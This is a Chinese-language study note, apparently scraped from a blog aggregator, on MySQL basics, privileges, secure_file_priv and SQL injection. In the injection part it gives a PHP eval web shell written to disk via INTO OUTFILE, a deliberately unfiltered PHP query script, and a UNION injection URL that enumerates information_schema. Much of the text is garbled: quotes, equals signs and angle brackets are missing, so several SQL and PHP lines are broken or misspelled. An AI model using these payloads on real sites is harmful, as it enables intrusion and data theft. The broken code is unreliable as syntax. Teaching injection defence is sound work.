当前位置: 首页 > news >正文

数据库MySQL安全

360数据库DBMS就是数据库的专属管家软件MySQL、Oracle、Microsoft SQL Server 都是系型数据库系统(DBMS)通过SQL结构化查询语言来存取、管理关系型数据库的数据。使用navicat软件图形化数据库Navicat 提供图形化界面可直观管理数据库简化建表、查询、备份等操作降低命令行使用难度提高效率。增删改查MySQL在命令提示窗口cmd进入登录数据库 MySQL -u root -p 输入root密码 创建数据库 CREATE DATABASE school CHARACTER SET utf8 COLLATE utf8_general_ci; --库名 --格式 --排序数据库操作SQL 关键字新增数据INSERT删除数据DELETE修改数据UPDATE查询数据SELECT-- 示例往学生表插入一条数据 INSERT INTO 学生表 (学号, 姓名, 年龄) VALUES (2026001, 张三, 18);--一一对应 -- 示例查询所有学生 SELECT * FROM 学生表; ​ -- 示例按条件查询特定学生 SELECT * FROM 学生表 WHERE 学号 2026001; -- 示例修改学生的年龄 UPDATE 学生表 SET 年龄 19 WHERE 学号 2026001; -- 一定要加 WHERE否则会修改全表 -- 示例删除指定学生drop是删数据库或数据表的 DELETE FROM 学生表 WHERE 学号 2026001; -- 同样要加 WHERE否则会清空全表库名、表名、列名一般加反引号,不是关键字时反引号可以省略order by 排序order by 几列:排序desc asc查询列数大于实际列数会报错以此得知数据库有多少字段union联表查询select * from 表名unionselect 123456是可以执行的只要每个字段类型不冲突问题一为什么select后面‘1’‘2’字段在tables表里没有还能查到?因为SELECT后面可以写三类东西表的字段比如 table_name固定值/占位符数字、字符串比如 1、2、abc函数比如 now ()原因union前后查询的列数必须一模一样否则报错union联表查询两个表要字段一致所有整数互通所有字符串互通整数 ↔ 字符串 互通所有日期时间互通日期 和 数字 / 普通文本 不能互通实战用内置函数database拿库名4步用拿表名用order by拿到字段数用union联select 1,(database()),...字段数limit限制select * from user limit 3;限制拿3条select * from user limit 0,3;从第0条开始拿3条每个MySQL库都有三个表mysql核心数据库用户名、密码、权限information_schema其中比较关键的三个表名information_schema.schemata:字段schema_name存所有的数据库名字information_schema.tables:字段table_name存数据库所有的表名information_schema.columns:字段column_name存数据库所有的字段实际这三个表每个表都有schema_nametable_namecolumn_name但是在不同表由名字可知属于本表名的字段有点类似于主键比如tables表中的table_name比columns表中的table_name全performance_schema连接数、线程状态、执行耗时-- 总结 php与mysql交互 1、建立连接 2、操作数据 3、关闭连接 -- OR 特征 11恒为真 order by 排序 数据 limit 限制条数 limit 1,3 -- UNION 字段 select 字段数要相同 内置函数 database() version() group_concat()将多条记录合并成一条一般会禁 -- information_schema 默认数据库里面存放的是什么内容 SELECT 1,group_conca(table_name),2 FROM information_schema.TABLES WHERE table_schemaDATABASE()创建用户--创建用户 create user hahalocalhost IDENTIFED BY 123456; ​ --查询 select User from MySQL.user; ​ ​ ​ --增加权限 GRANT select,insert,update on 库名.* to hahalocalhost; --刷新 FLUSH PRIVILEGES; --删除权限 REVOKE UPDATE on school.* from hahalocalhost --查询权限 show GRANTS for hahalocalhost; --抵御弱口令爆破更改密码的两种方式 set password for rootlocalhost password(root123456); update mysql.user set passwordpassword(root123456) where user root and hostlocalhost;文件权限数据库不止能存数据还能操作文件读取excel表格 csv文本数据文件到数据库将数据库的内容写入文件使用者:show GRANTS;使用范围:MySQL配置文件my.ini有什么端口号默认 3306数据存放路径字符集、最大连接数日志、权限相关配置账号密码相关设置在MySQL配置文件my.ini中有一条secure_file_priv用来限制 MySQL 读写本地文件的权限secure_file_privNULL禁止所有文件导入导出最安全。secure_file_priv空不限制任意目录都能读写不安全注入常用。secure_file_priv 指定路径只能在该目录下导入导出。如果没有secure_file_priv那就是默认禁止load_file()、into outfile防止 SQL 注入读文件边界把关有权限 secure_file_priv 允许目录查看目标文件权限自己Windows/Linux登录的用户能不能修改文件Linuxps -ef | grep mysqlwindow右键文件 →属性 → 安全查看你当前用户的权限有写入 / 修改→ 能改只有读取 执行 → 不能改查看MySQL参数show variables like secure_file_priv;SQL注入原理代码--将···写入路径下的文件 select ?php eval($_POST[gaga]); ? into outflie d/···有漏洞的服务器php代码?php // 数据库配置 $host localhost; $user root; $pwd 你的数据库密码; $db demo; // 连接MySQL $conn mysqli_connect($host, $user, $pwd, $db); if (!$conn) { die(数据库连接失败 . mysqli_connect_error()); } // 直接获取id**无过滤** $id $_GET[id]; // 直接拼接SQL → 注入点 $sql SELECT id,username,password FROM user WHERE id$id; $result mysqli_query($conn, $sql); // 简单输出 if (mysqli_num_rows($result) 0) { $row mysqli_fetch_assoc($result); echo ID: {$row[id]}br; echo 用户名: {$row[username]}br; echo 密码: {$row[password]}br; } else { // 对应你看到的报错URL拼写可能存在错误请检查 echo 系统报错信息\URL拼写可能存在错误请检查\; } mysqli_close($conn); ?URLhttp://127.0.0.1/demo/union.php?id-1 union select 1,database(),3 from information_schema.columns where table_schemadatabase() and table_nameuser输入之后数据库拼接的效果SELECT id,username,password FROM user WHERE id-1 union select 1,database(),3 from information_schema.columns where table_schemadatabase() and table_nameuser问题所以union联表查询只要前后select后面字段一致不管是接from还是into outfile都行吗还是说有其他要求1.UNION 只要求一件事前后列数必须一样2.UNION 后面可以不用 fromfrom 表✅ 可以into outfile✅ 可以什么都不接纯查常量✅ 也可以数据库漏洞反制手段日志general LOG需要占用大量内存非 常驻日志-- 开启日志 set GLOBAL general_logon; -- 查看日志所在位置 SHOW VARIABLES LIKE general_log_file;备份3份备份2种本地 异地1份离线
http://www.zskr.cn/news/1393490.html

相关文章:

  • 2026包装印刷与数码印刷设备深度评测:四家主流品牌谁更值得选? - 企业品牌优选推荐官
  • 如何用UI-TARS桌面AI助手彻底告别重复电脑操作:终极免费自动化解决方案
  • Codex入门20-API开发实战(从零搭建:一句话让Codex帮你生成完整的REST API后端)
  • acbDecrypter:游戏音频文件解密与转换的完整解决方案
  • ComfyUI IPAdapter Plus:让AI图像生成精准掌控参考图像风格与内容
  • PatchTST时间序列预测终极指南:从理论到实战的完整解决方案
  • 昇科仪器代理库尔特纳米粒度仪深度解析:选型要点与行业应用一文读懂 - 品牌推荐大师
  • 2026年金鲳鱼苗选购指南:辉盛水产——优质苗种的首选
  • VIOLET:基于Barlow Twins与Mixup的非对比句子嵌入方法实践
  • simulink的电动汽车永磁同步电机(PMSM)零转速、满转矩平稳起步控制仿真(带可运行matlab代码)
  • ESP32 GPIO实战指南:从基础配置到中断处理
  • EffBaGAN:结合EfficientNet与BAGAN,高效解决遥感图像小样本分类难题
  • 残差深度森林模型在卫星红外降水反演中的工程实践与优化
  • 别再手动改时间了!用timedatectl一条命令搞定Linux时区与NTP同步(Ubuntu/CentOS通用)
  • TVA视觉智能体专栏(七):FRA因式分解算法在TVA中的核心作用:解决工业缺陷杂乱干扰难题
  • 2026年5月长治装修/整装/旧屋改造业主如何选择信誉好的装修服务?五大关键维度与代表服务商解析,认准爱尚家 - 2026年企业资讯
  • PDF转Word免费软件网页大盘点:2026保姆级教程,手把手教你免费搞定转换 - 软件小管家
  • ALSys 测试用例管理系统使用指南(Python 版)
  • ChatGPT图片识别≠通用CV工具!资深AI架构师划重点:3类必须迁移至专用模型的高危场景(附迁移决策树)
  • 深度解析物理层“老古董”:中继器、集线器与10Base-T的54321规则(万字长文实战指南)
  • V2PNet:融合点与体素优势的三维点云配准网络解析
  • 入门 Ansible
  • TDengine 存储引擎概览 — TSDB 分层存储架构与数据流转全景
  • 3个Excel函数就能搞懂AI?揭开人工智能黑箱的零代码魔法
  • 解锁Windows与Office完整功能:一次优雅的激活体验之旅
  • 海克斯大乱斗:用Python和微积分证明,霞到底该带“灵巧”还是“点亮他们”?
  • 2026年6月劳力士官方公告:官方服务电话同步使用及门店地址升级公示 - 速递信息
  • 如何在Windows上使用WinNUT-Client专业监控UPS不间断电源
  • Redis分布式锁进阶第一十八篇
  • 第二周学习进展